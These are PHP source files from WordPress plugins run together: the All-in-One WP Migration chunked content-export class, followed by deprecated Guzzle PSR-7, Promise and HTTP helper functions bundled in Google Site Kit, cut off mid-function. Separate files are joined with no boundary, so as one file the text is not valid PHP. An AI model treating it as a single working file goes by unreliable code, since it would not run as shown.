/**
* Copyright (C) 2014-2025 ServMask Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see .
*
* Attribution: This code is part of the All-in-One WP Migration plugin, developed by
*
* ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗
* ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝
* ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝
* ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗
* ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗
* ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
*/
if ( ! defined( 'ABSPATH' ) ) {
die( 'Kangaroos cannot jump here' );
}
class Ai1wm_Export_Content {
public static function execute( $params ) {
// Set archive bytes offset
if ( isset( $params['archive_bytes_offset'] ) ) {
$archive_bytes_offset = (int) $params['archive_bytes_offset'];
} else {
$archive_bytes_offset = ai1wm_archive_bytes( $params );
}
// Set file bytes offset
if ( isset( $params['file_bytes_offset'] ) ) {
$file_bytes_offset = (int) $params['file_bytes_offset'];
} else {
$file_bytes_offset = 0;
}
// Set content bytes offset
if ( isset( $params['content_bytes_offset'] ) ) {
$content_bytes_offset = (int) $params['content_bytes_offset'];
} else {
$content_bytes_offset = 0;
}
// Get processed files size
if ( isset( $params['processed_files_size'] ) ) {
$processed_files_size = (int) $params['processed_files_size'];
} else {
$processed_files_size = 0;
}
// Get total content files size
if ( isset( $params['total_content_files_size'] ) ) {
$total_content_files_size = (int) $params['total_content_files_size'];
} else {
$total_content_files_size = 1;
}
// Get total content files count
if ( isset( $params['total_content_files_count'] ) ) {
$total_content_files_count = (int) $params['total_content_files_count'];
} else {
$total_content_files_count = 1;
}
// What percent of files have we processed?
$progress = (int) min( ( $processed_files_size / $total_content_files_size ) * 100, 100 );
// Set progress
Ai1wm_Status::info( sprintf( __( 'Archiving %d content files...
%d%% complete', AI1WM_PLUGIN_NAME ), $total_content_files_count, $progress ) );
// Flag to hold if file data has been processed
$completed = true;
// Start time
$start = microtime( true );
// Get content list file
$content_list = ai1wm_open( ai1wm_content_list_path( $params ), 'r' );
// Set the file pointer at the current index
if ( fseek( $content_list, $content_bytes_offset ) !== -1 ) {
// Open the archive file for writing
$archive = new Ai1wm_Compressor( ai1wm_archive_path( $params ) );
// Set the file pointer to the one that we have saved
$archive->set_file_pointer( $archive_bytes_offset );
// Loop over files
while ( list( $file_abspath, $file_relpath, $file_size, $file_mtime ) = ai1wm_getcsv( $content_list ) ) {
$file_bytes_written = 0;
// Add file to archive
if ( ( $completed = $archive->add_file( $file_abspath, $file_relpath, $file_bytes_written, $file_bytes_offset ) ) ) {
$file_bytes_offset = 0;
// Get content bytes offset
$content_bytes_offset = ftell( $content_list );
}
// Increment processed files size
$processed_files_size += $file_bytes_written;
// What percent of files have we processed?
$progress = (int) min( ( $processed_files_size / $total_content_files_size ) * 100, 100 );
// Set progress
Ai1wm_Status::info( sprintf( __( 'Archiving %d content files...
%d%% complete', AI1WM_PLUGIN_NAME ), $total_content_files_count, $progress ) );
// More than 10 seconds have passed, break and do another request
if ( ( $timeout = apply_filters( 'ai1wm_completed_timeout', 10 ) ) ) {
if ( ( microtime( true ) - $start ) > $timeout ) {
$completed = false;
break;
}
}
}
// Get archive bytes offset
$archive_bytes_offset = $archive->get_file_pointer();
// Truncate the archive file
$archive->truncate();
// Close the archive file
$archive->close();
}
// End of the content list?
if ( feof( $content_list ) ) {
// Unset archive bytes offset
unset( $params['archive_bytes_offset'] );
// Unset file bytes offset
unset( $params['file_bytes_offset'] );
// Unset content bytes offset
unset( $params['content_bytes_offset'] );
// Unset processed files size
unset( $params['processed_files_size'] );
// Unset total content files size
unset( $params['total_content_files_size'] );
// Unset total content files count
unset( $params['total_content_files_count'] );
// Unset completed flag
unset( $params['completed'] );
} else {
// Set archive bytes offset
$params['archive_bytes_offset'] = $archive_bytes_offset;
// Set file bytes offset
$params['file_bytes_offset'] = $file_bytes_offset;
// Set content bytes offset
$params['content_bytes_offset'] = $content_bytes_offset;
// Set processed files size
$params['processed_files_size'] = $processed_files_size;
// Set total content files size
$params['total_content_files_size'] = $total_content_files_size;
// Set total content files count
$params['total_content_files_count'] = $total_content_files_count;
// Set completed flag
$params['completed'] = $completed;
}
// Close the content list file
ai1wm_close( $content_list );
return $params;
}
}namespace Google\Site_Kit_Dependencies\GuzzleHttp\Psr7;
use Google\Site_Kit_Dependencies\Psr\Http\Message\MessageInterface;
use Google\Site_Kit_Dependencies\Psr\Http\Message\RequestInterface;
use Google\Site_Kit_Dependencies\Psr\Http\Message\StreamInterface;
use Google\Site_Kit_Dependencies\Psr\Http\Message\UriInterface;
/**
* Returns the string representation of an HTTP message.
*
* @param MessageInterface $message Message to convert to a string.
*
* @return string
*
* @deprecated str will be removed in guzzlehttp/psr7:2.0. Use Message::toString instead.
*/
function str(\Google\Site_Kit_Dependencies\Psr\Http\Message\MessageInterface $message)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Message::toString($message);
}
/**
* Returns a UriInterface for the given value.
*
* This function accepts a string or UriInterface and returns a
* UriInterface for the given value. If the value is already a
* UriInterface, it is returned as-is.
*
* @param string|UriInterface $uri
*
* @return UriInterface
*
* @throws \InvalidArgumentException
*
* @deprecated uri_for will be removed in guzzlehttp/psr7:2.0. Use Utils::uriFor instead.
*/
function uri_for($uri)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Utils::uriFor($uri);
}
/**
* Create a new stream based on the input type.
*
* Options is an associative array that can contain the following keys:
* - metadata: Array of custom metadata.
* - size: Size of the stream.
*
* This method accepts the following `$resource` types:
* - `Psr\Http\Message\StreamInterface`: Returns the value as-is.
* - `string`: Creates a stream object that uses the given string as the contents.
* - `resource`: Creates a stream object that wraps the given PHP stream resource.
* - `Iterator`: If the provided value implements `Iterator`, then a read-only
* stream object will be created that wraps the given iterable. Each time the
* stream is read from, data from the iterator will fill a buffer and will be
* continuously called until the buffer is equal to the requested read size.
* Subsequent read calls will first read from the buffer and then call `next`
* on the underlying iterator until it is exhausted.
* - `object` with `__toString()`: If the object has the `__toString()` method,
* the object will be cast to a string and then a stream will be returned that
* uses the string value.
* - `NULL`: When `null` is passed, an empty stream object is returned.
* - `callable` When a callable is passed, a read-only stream object will be
* created that invokes the given callable. The callable is invoked with the
* number of suggested bytes to read. The callable can return any number of
* bytes, but MUST return `false` when there is no more data to return. The
* stream object that wraps the callable will invoke the callable until the
* number of requested bytes are available. Any additional bytes will be
* buffered and used in subsequent reads.
*
* @param resource|string|int|float|bool|StreamInterface|callable|\Iterator|null $resource Entity body data
* @param array $options Additional options
*
* @return StreamInterface
*
* @throws \InvalidArgumentException if the $resource arg is not valid.
*
* @deprecated stream_for will be removed in guzzlehttp/psr7:2.0. Use Utils::streamFor instead.
*/
function stream_for($resource = '', array $options = [])
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Utils::streamFor($resource, $options);
}
/**
* Parse an array of header values containing ";" separated data into an
* array of associative arrays representing the header key value pair data
* of the header. When a parameter does not contain a value, but just
* contains a key, this function will inject a key with a '' string value.
*
* @param string|array $header Header to parse into components.
*
* @return array Returns the parsed header values.
*
* @deprecated parse_header will be removed in guzzlehttp/psr7:2.0. Use Header::parse instead.
*/
function parse_header($header)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Header::parse($header);
}
/**
* Converts an array of header values that may contain comma separated
* headers into an array of headers with no comma separated values.
*
* @param string|array $header Header to normalize.
*
* @return array Returns the normalized header field values.
*
* @deprecated normalize_header will be removed in guzzlehttp/psr7:2.0. Use Header::normalize instead.
*/
function normalize_header($header)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Header::normalize($header);
}
/**
* Clone and modify a request with the given changes.
*
* This method is useful for reducing the number of clones needed to mutate a
* message.
*
* The changes can be one of:
* - method: (string) Changes the HTTP method.
* - set_headers: (array) Sets the given headers.
* - remove_headers: (array) Remove the given headers.
* - body: (mixed) Sets the given body.
* - uri: (UriInterface) Set the URI.
* - query: (string) Set the query string value of the URI.
* - version: (string) Set the protocol version.
*
* @param RequestInterface $request Request to clone and modify.
* @param array $changes Changes to apply.
*
* @return RequestInterface
*
* @deprecated modify_request will be removed in guzzlehttp/psr7:2.0. Use Utils::modifyRequest instead.
*/
function modify_request(\Google\Site_Kit_Dependencies\Psr\Http\Message\RequestInterface $request, array $changes)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Utils::modifyRequest($request, $changes);
}
/**
* Attempts to rewind a message body and throws an exception on failure.
*
* The body of the message will only be rewound if a call to `tell()` returns a
* value other than `0`.
*
* @param MessageInterface $message Message to rewind
*
* @throws \RuntimeException
*
* @deprecated rewind_body will be removed in guzzlehttp/psr7:2.0. Use Message::rewindBody instead.
*/
function rewind_body(\Google\Site_Kit_Dependencies\Psr\Http\Message\MessageInterface $message)
{
\Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Message::rewindBody($message);
}
/**
* Safely opens a PHP stream resource using a filename.
*
* When fopen fails, PHP normally raises a warning. This function adds an
* error handler that checks for errors and throws an exception instead.
*
* @param string $filename File to open
* @param string $mode Mode used to open the file
*
* @return resource
*
* @throws \RuntimeException if the file cannot be opened
*
* @deprecated try_fopen will be removed in guzzlehttp/psr7:2.0. Use Utils::tryFopen instead.
*/
function try_fopen($filename, $mode)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Utils::tryFopen($filename, $mode);
}
/**
* Copy the contents of a stream into a string until the given number of
* bytes have been read.
*
* @param StreamInterface $stream Stream to read
* @param int $maxLen Maximum number of bytes to read. Pass -1
* to read the entire stream.
*
* @return string
*
* @throws \RuntimeException on error.
*
* @deprecated copy_to_string will be removed in guzzlehttp/psr7:2.0. Use Utils::copyToString instead.
*/
function copy_to_string(\Google\Site_Kit_Dependencies\Psr\Http\Message\StreamInterface $stream, $maxLen = -1)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Utils::copyToString($stream, $maxLen);
}
/**
* Copy the contents of a stream into another stream until the given number
* of bytes have been read.
*
* @param StreamInterface $source Stream to read from
* @param StreamInterface $dest Stream to write to
* @param int $maxLen Maximum number of bytes to read. Pass -1
* to read the entire stream.
*
* @throws \RuntimeException on error.
*
* @deprecated copy_to_stream will be removed in guzzlehttp/psr7:2.0. Use Utils::copyToStream instead.
*/
function copy_to_stream(\Google\Site_Kit_Dependencies\Psr\Http\Message\StreamInterface $source, \Google\Site_Kit_Dependencies\Psr\Http\Message\StreamInterface $dest, $maxLen = -1)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Utils::copyToStream($source, $dest, $maxLen);
}
/**
* Calculate a hash of a stream.
*
* This method reads the entire stream to calculate a rolling hash, based on
* PHP's `hash_init` functions.
*
* @param StreamInterface $stream Stream to calculate the hash for
* @param string $algo Hash algorithm (e.g. md5, crc32, etc)
* @param bool $rawOutput Whether or not to use raw output
*
* @return string Returns the hash of the stream
*
* @throws \RuntimeException on error.
*
* @deprecated hash will be removed in guzzlehttp/psr7:2.0. Use Utils::hash instead.
*/
function hash(\Google\Site_Kit_Dependencies\Psr\Http\Message\StreamInterface $stream, $algo, $rawOutput = \false)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Utils::hash($stream, $algo, $rawOutput);
}
/**
* Read a line from the stream up to the maximum allowed buffer length.
*
* @param StreamInterface $stream Stream to read from
* @param int|null $maxLength Maximum buffer length
*
* @return string
*
* @deprecated readline will be removed in guzzlehttp/psr7:2.0. Use Utils::readLine instead.
*/
function readline(\Google\Site_Kit_Dependencies\Psr\Http\Message\StreamInterface $stream, $maxLength = null)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Utils::readLine($stream, $maxLength);
}
/**
* Parses a request message string into a request object.
*
* @param string $message Request message string.
*
* @return Request
*
* @deprecated parse_request will be removed in guzzlehttp/psr7:2.0. Use Message::parseRequest instead.
*/
function parse_request($message)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Message::parseRequest($message);
}
/**
* Parses a response message string into a response object.
*
* @param string $message Response message string.
*
* @return Response
*
* @deprecated parse_response will be removed in guzzlehttp/psr7:2.0. Use Message::parseResponse instead.
*/
function parse_response($message)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Message::parseResponse($message);
}
/**
* Parse a query string into an associative array.
*
* If multiple values are found for the same key, the value of that key value
* pair will become an array. This function does not parse nested PHP style
* arrays into an associative array (e.g., `foo[a]=1&foo[b]=2` will be parsed
* into `['foo[a]' => '1', 'foo[b]' => '2'])`.
*
* @param string $str Query string to parse
* @param int|bool $urlEncoding How the query string is encoded
*
* @return array
*
* @deprecated parse_query will be removed in guzzlehttp/psr7:2.0. Use Query::parse instead.
*/
function parse_query($str, $urlEncoding = \true)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Query::parse($str, $urlEncoding);
}
/**
* Build a query string from an array of key value pairs.
*
* This function can use the return value of `parse_query()` to build a query
* string. This function does not modify the provided keys when an array is
* encountered (like `http_build_query()` would).
*
* @param array $params Query string parameters.
* @param int|false $encoding Set to false to not encode, PHP_QUERY_RFC3986
* to encode using RFC3986, or PHP_QUERY_RFC1738
* to encode using RFC1738.
*
* @return string
*
* @deprecated build_query will be removed in guzzlehttp/psr7:2.0. Use Query::build instead.
*/
function build_query(array $params, $encoding = \PHP_QUERY_RFC3986)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Query::build($params, $encoding);
}
/**
* Determines the mimetype of a file by looking at its extension.
*
* @param string $filename
*
* @return string|null
*
* @deprecated mimetype_from_filename will be removed in guzzlehttp/psr7:2.0. Use MimeType::fromFilename instead.
*/
function mimetype_from_filename($filename)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\MimeType::fromFilename($filename);
}
/**
* Maps a file extensions to a mimetype.
*
* @param $extension string The file extension.
*
* @return string|null
*
* @link http://svn.apache.org/repos/asf/httpd/httpd/branches/1.3.x/conf/mime.types
* @deprecated mimetype_from_extension will be removed in guzzlehttp/psr7:2.0. Use MimeType::fromExtension instead.
*/
function mimetype_from_extension($extension)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\MimeType::fromExtension($extension);
}
/**
* Parses an HTTP message into an associative array.
*
* The array contains the "start-line" key containing the start line of
* the message, "headers" key containing an associative array of header
* array values, and a "body" key containing the body of the message.
*
* @param string $message HTTP request or response to parse.
*
* @return array
*
* @internal
*
* @deprecated _parse_message will be removed in guzzlehttp/psr7:2.0. Use Message::parseMessage instead.
*/
function _parse_message($message)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Message::parseMessage($message);
}
/**
* Constructs a URI for an HTTP request message.
*
* @param string $path Path from the start-line
* @param array $headers Array of headers (each value an array).
*
* @return string
*
* @internal
*
* @deprecated _parse_request_uri will be removed in guzzlehttp/psr7:2.0. Use Message::parseRequestUri instead.
*/
function _parse_request_uri($path, array $headers)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Message::parseRequestUri($path, $headers);
}
/**
* Get a short summary of the message body.
*
* Will return `null` if the response is not printable.
*
* @param MessageInterface $message The message to get the body summary
* @param int $truncateAt The maximum allowed size of the summary
*
* @return string|null
*
* @deprecated get_message_body_summary will be removed in guzzlehttp/psr7:2.0. Use Message::bodySummary instead.
*/
function get_message_body_summary(\Google\Site_Kit_Dependencies\Psr\Http\Message\MessageInterface $message, $truncateAt = 120)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Message::bodySummary($message, $truncateAt);
}
/**
* Remove the items given by the keys, case insensitively from the data.
*
* @param iterable $keys
*
* @return array
*
* @internal
*
* @deprecated _caseless_remove will be removed in guzzlehttp/psr7:2.0. Use Utils::caselessRemove instead.
*/
function _caseless_remove($keys, array $data)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Psr7\Utils::caselessRemove($keys, $data);
}namespace Google\Site_Kit_Dependencies\GuzzleHttp\Promise;
/**
* Get the global task queue used for promise resolution.
*
* This task queue MUST be run in an event loop in order for promises to be
* settled asynchronously. It will be automatically run when synchronously
* waiting on a promise.
*
*
* while ($eventLoop->isRunning()) {
* GuzzleHttp\Promise\queue()->run();
* }
*
*
* @param TaskQueueInterface $assign Optionally specify a new queue instance.
*
* @return TaskQueueInterface
*
* @deprecated queue will be removed in guzzlehttp/promises:2.0. Use Utils::queue instead.
*/
function queue(\Google\Site_Kit_Dependencies\GuzzleHttp\Promise\TaskQueueInterface $assign = null)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::queue($assign);
}
/**
* Adds a function to run in the task queue when it is next `run()` and returns
* a promise that is fulfilled or rejected with the result.
*
* @param callable $task Task function to run.
*
* @return PromiseInterface
*
* @deprecated task will be removed in guzzlehttp/promises:2.0. Use Utils::task instead.
*/
function task(callable $task)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::task($task);
}
/**
* Creates a promise for a value if the value is not a promise.
*
* @param mixed $value Promise or value.
*
* @return PromiseInterface
*
* @deprecated promise_for will be removed in guzzlehttp/promises:2.0. Use Create::promiseFor instead.
*/
function promise_for($value)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Create::promiseFor($value);
}
/**
* Creates a rejected promise for a reason if the reason is not a promise. If
* the provided reason is a promise, then it is returned as-is.
*
* @param mixed $reason Promise or reason.
*
* @return PromiseInterface
*
* @deprecated rejection_for will be removed in guzzlehttp/promises:2.0. Use Create::rejectionFor instead.
*/
function rejection_for($reason)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Create::rejectionFor($reason);
}
/**
* Create an exception for a rejected promise value.
*
* @param mixed $reason
*
* @return \Exception|\Throwable
*
* @deprecated exception_for will be removed in guzzlehttp/promises:2.0. Use Create::exceptionFor instead.
*/
function exception_for($reason)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Create::exceptionFor($reason);
}
/**
* Returns an iterator for the given value.
*
* @param mixed $value
*
* @return \Iterator
*
* @deprecated iter_for will be removed in guzzlehttp/promises:2.0. Use Create::iterFor instead.
*/
function iter_for($value)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Create::iterFor($value);
}
/**
* Synchronously waits on a promise to resolve and returns an inspection state
* array.
*
* Returns a state associative array containing a "state" key mapping to a
* valid promise state. If the state of the promise is "fulfilled", the array
* will contain a "value" key mapping to the fulfilled value of the promise. If
* the promise is rejected, the array will contain a "reason" key mapping to
* the rejection reason of the promise.
*
* @param PromiseInterface $promise Promise or value.
*
* @return array
*
* @deprecated inspect will be removed in guzzlehttp/promises:2.0. Use Utils::inspect instead.
*/
function inspect(\Google\Site_Kit_Dependencies\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::inspect($promise);
}
/**
* Waits on all of the provided promises, but does not unwrap rejected promises
* as thrown exception.
*
* Returns an array of inspection state arrays.
*
* @see inspect for the inspection state array format.
*
* @param PromiseInterface[] $promises Traversable of promises to wait upon.
*
* @return array
*
* @deprecated inspect will be removed in guzzlehttp/promises:2.0. Use Utils::inspectAll instead.
*/
function inspect_all($promises)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::inspectAll($promises);
}
/**
* Waits on all of the provided promises and returns the fulfilled values.
*
* Returns an array that contains the value of each promise (in the same order
* the promises were provided). An exception is thrown if any of the promises
* are rejected.
*
* @param iterable $promises Iterable of PromiseInterface objects to wait on.
*
* @return array
*
* @throws \Exception on error
* @throws \Throwable on error in PHP >=7
*
* @deprecated unwrap will be removed in guzzlehttp/promises:2.0. Use Utils::unwrap instead.
*/
function unwrap($promises)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::unwrap($promises);
}
/**
* Given an array of promises, return a promise that is fulfilled when all the
* items in the array are fulfilled.
*
* The promise's fulfillment value is an array with fulfillment values at
* respective positions to the original array. If any promise in the array
* rejects, the returned promise is rejected with the rejection reason.
*
* @param mixed $promises Promises or values.
* @param bool $recursive If true, resolves new promises that might have been added to the stack during its own resolution.
*
* @return PromiseInterface
*
* @deprecated all will be removed in guzzlehttp/promises:2.0. Use Utils::all instead.
*/
function all($promises, $recursive = \false)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::all($promises, $recursive);
}
/**
* Initiate a competitive race between multiple promises or values (values will
* become immediately fulfilled promises).
*
* When count amount of promises have been fulfilled, the returned promise is
* fulfilled with an array that contains the fulfillment values of the winners
* in order of resolution.
*
* This promise is rejected with a {@see AggregateException} if the number of
* fulfilled promises is less than the desired $count.
*
* @param int $count Total number of promises.
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated some will be removed in guzzlehttp/promises:2.0. Use Utils::some instead.
*/
function some($count, $promises)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::some($count, $promises);
}
/**
* Like some(), with 1 as count. However, if the promise fulfills, the
* fulfillment value is not an array of 1 but the value directly.
*
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated any will be removed in guzzlehttp/promises:2.0. Use Utils::any instead.
*/
function any($promises)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::any($promises);
}
/**
* Returns a promise that is fulfilled when all of the provided promises have
* been fulfilled or rejected.
*
* The returned promise is fulfilled with an array of inspection state arrays.
*
* @see inspect for the inspection state array format.
*
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated settle will be removed in guzzlehttp/promises:2.0. Use Utils::settle instead.
*/
function settle($promises)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::settle($promises);
}
/**
* Given an iterator that yields promises or values, returns a promise that is
* fulfilled with a null value when the iterator has been consumed or the
* aggregate promise has been fulfilled or rejected.
*
* $onFulfilled is a function that accepts the fulfilled value, iterator index,
* and the aggregate promise. The callback can invoke any necessary side
* effects and choose to resolve or reject the aggregate if needed.
*
* $onRejected is a function that accepts the rejection reason, iterator index,
* and the aggregate promise. The callback can invoke any necessary side
* effects and choose to resolve or reject the aggregate if needed.
*
* @param mixed $iterable Iterator or array to iterate over.
* @param callable $onFulfilled
* @param callable $onRejected
*
* @return PromiseInterface
*
* @deprecated each will be removed in guzzlehttp/promises:2.0. Use Each::of instead.
*/
function each($iterable, callable $onFulfilled = null, callable $onRejected = null)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Each::of($iterable, $onFulfilled, $onRejected);
}
/**
* Like each, but only allows a certain number of outstanding promises at any
* given time.
*
* $concurrency may be an integer or a function that accepts the number of
* pending promises and returns a numeric concurrency limit value to allow for
* dynamic a concurrency size.
*
* @param mixed $iterable
* @param int|callable $concurrency
* @param callable $onFulfilled
* @param callable $onRejected
*
* @return PromiseInterface
*
* @deprecated each_limit will be removed in guzzlehttp/promises:2.0. Use Each::ofLimit instead.
*/
function each_limit($iterable, $concurrency, callable $onFulfilled = null, callable $onRejected = null)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Each::ofLimit($iterable, $concurrency, $onFulfilled, $onRejected);
}
/**
* Like each_limit, but ensures that no promise in the given $iterable argument
* is rejected. If any promise is rejected, then the aggregate promise is
* rejected with the encountered rejection.
*
* @param mixed $iterable
* @param int|callable $concurrency
* @param callable $onFulfilled
*
* @return PromiseInterface
*
* @deprecated each_limit_all will be removed in guzzlehttp/promises:2.0. Use Each::ofLimitAll instead.
*/
function each_limit_all($iterable, $concurrency, callable $onFulfilled = null)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Each::ofLimitAll($iterable, $concurrency, $onFulfilled);
}
/**
* Returns true if a promise is fulfilled.
*
* @return bool
*
* @deprecated is_fulfilled will be removed in guzzlehttp/promises:2.0. Use Is::fulfilled instead.
*/
function is_fulfilled(\Google\Site_Kit_Dependencies\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Is::fulfilled($promise);
}
/**
* Returns true if a promise is rejected.
*
* @return bool
*
* @deprecated is_rejected will be removed in guzzlehttp/promises:2.0. Use Is::rejected instead.
*/
function is_rejected(\Google\Site_Kit_Dependencies\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Is::rejected($promise);
}
/**
* Returns true if a promise is fulfilled or rejected.
*
* @return bool
*
* @deprecated is_settled will be removed in guzzlehttp/promises:2.0. Use Is::settled instead.
*/
function is_settled(\Google\Site_Kit_Dependencies\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Is::settled($promise);
}
/**
* Create a new coroutine.
*
* @see Coroutine
*
* @return PromiseInterface
*
* @deprecated coroutine will be removed in guzzlehttp/promises:2.0. Use Coroutine::of instead.
*/
function coroutine(callable $generatorFn)
{
return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Coroutine::of($generatorFn);
}namespace Google\Site_Kit_Dependencies\GuzzleHttp;
use Google\Site_Kit_Dependencies\GuzzleHttp\Handler\CurlHandler;
use Google\Site_Kit_Dependencies\GuzzleHttp\Handler\CurlMultiHandler;
use Google\Site_Kit_Dependencies\GuzzleHttp\Handler\Proxy;
use Google\Site_Kit_Dependencies\GuzzleHttp\Handler\StreamHandler;
/**
* Expands a URI template
*
* @param string $template URI template
* @param array $variables Template variables
*
* @return string
*/
function uri_template($template, array $variables)
{
if (\extension_loaded('uri_template')) {
// @codeCoverageIgnoreStart
return \Google\Site_Kit_Dependencies\uri_template($template, $variables);
// @codeCoverageIgnoreEnd
}
static $uriTemplate;
if (!$uriTemplate) {
$uriTemplate = new \Google\Site_Kit_Dependencies\GuzzleHttp\UriTemplate();
}
return $uriTemplate->expand($template, $variables);
}
/**
* Debug function used to describe the provided value type and class.
*
* @param mixed $input
*
* @return string Returns a string containing the type of the variable and
* if a class is provided, the class name.
*/
function describe_type($input)
{
switch (\gettype($input)) {
case 'object':
return 'object(' . \get_class($input) . ')';
case 'array':
return 'array(' . \count($input) . ')';
default:
\ob_start();
\var_dump($input);
// normalize float vs double
return \str_replace('double(', 'float(', \rtrim(\ob_get_clean()));
}
}
/**
* Parses an array of header lines into an associative array of headers.
*
* @param iterable $lines Header lines array of strings in the following
* format: "Name: Value"
* @return array
*/
function headers_from_lines($lines)
{
$headers = [];
foreach ($lines as $line) {
$parts = \explode(':', $line, 2);
$headers[\trim($parts[0])][] = isset($parts[1]) ? \trim($parts[1]) : null;
}
return $headers;
}
/**
* Returns a debug stream based on the provided variable.
*
* @param mixed $value Optional value
*
* @return resource
*/
function debug_resource($value = null)
{
if (\is_resource($value)) {
return $value;
} elseif (\defined('STDOUT')) {
return \STDOUT;
}
return \fopen('php://output', 'w');
}
/**
* Chooses and creates a default handler to use based on the environment.
*
* The returned handler is not wrapped by any default middlewares.
*
* @return callable Returns the best handler for the given system.
* @throws \RuntimeException if no viable Handler is available.
*/
function choose_handler()
{
$handler = null;
if (\function_exists('curl_multi_exec') && \function_exists('curl_exec')) {
$handler = \Google\Site_Kit_Dependencies\GuzzleHttp\Handler\Proxy::wrapSync(new \Google\Site_Kit_Dependencies\GuzzleHttp\Handler\CurlMultiHandler(), new \Google\Site_Kit_Dependencies\GuzzleHttp\Handler\CurlHandler());
} elseif (\function_exists('curl_exec')) {
$handler = new \Google\Site_Kit_Dependencies\GuzzleHttp\Handler\CurlHandler();
} elseif (\function_exists('curl_multi_exec')) {
$handler = new \Google\Site_Kit_Dependencies\GuzzleHttp\Handler\CurlMultiHandler();
}
if (\ini_get('allow_url_fopen')) {
$handler = $handler ? \Google\Site_Kit_Dependencies\GuzzleHttp\Handler\Proxy::wrapStreaming($handler, new \Google\Site_Kit_Dependencies\GuzzleHttp\Handler\StreamHandler()) : new \Google\Site_Kit_Dependencies\GuzzleHttp\Handler\StreamHandler();
} elseif (!$handler) {
throw new \RuntimeException('GuzzleHttp requires cURL, the ' . 'allow_url_fopen ini setting, or a custom HTTP handler.');
}
return $handler;
}
/**
* Get the default User-Agent string to use with Guzzle
*
* @return string
*/
function default_user_agent()
{
static $defaultAgent = '';
if (!$defaultAgent) {
$defaultAgent = 'GuzzleHttp/' . \Google\Site_Kit_Dependencies\GuzzleHttp\Client::VERSION;
if (\extension_loaded('curl') && \function_exists('curl_version')) {
$defaultAgent .= ' curl/' . \curl_version()['version'];
}
$defaultAgent .= ' PHP/' . \PHP_VERSION;
}
return $defaultAgent;
}
/**
* Returns the default cacert bundle for the current system.
*
* First, the openssl.cafile and curl.cainfo php.ini settings are checked.
* If those settings are not configured, then the common locations for
* bundles found on Red Hat, CentOS, Fedora, Ubuntu, Debian, FreeBSD, OS X
* and Windows are checked. If any of these file locations are found on
* disk, they will be utilized.
*
* Note: the result of this function is cached for subsequent calls.
*
* @return string
* @throws \RuntimeException if no bundle can be found.
*/
function default_ca_bundle()
{
static $cached = null;
static $cafiles = [
// Red Hat, CentOS, Fedora (provided by the ca-certificates package)
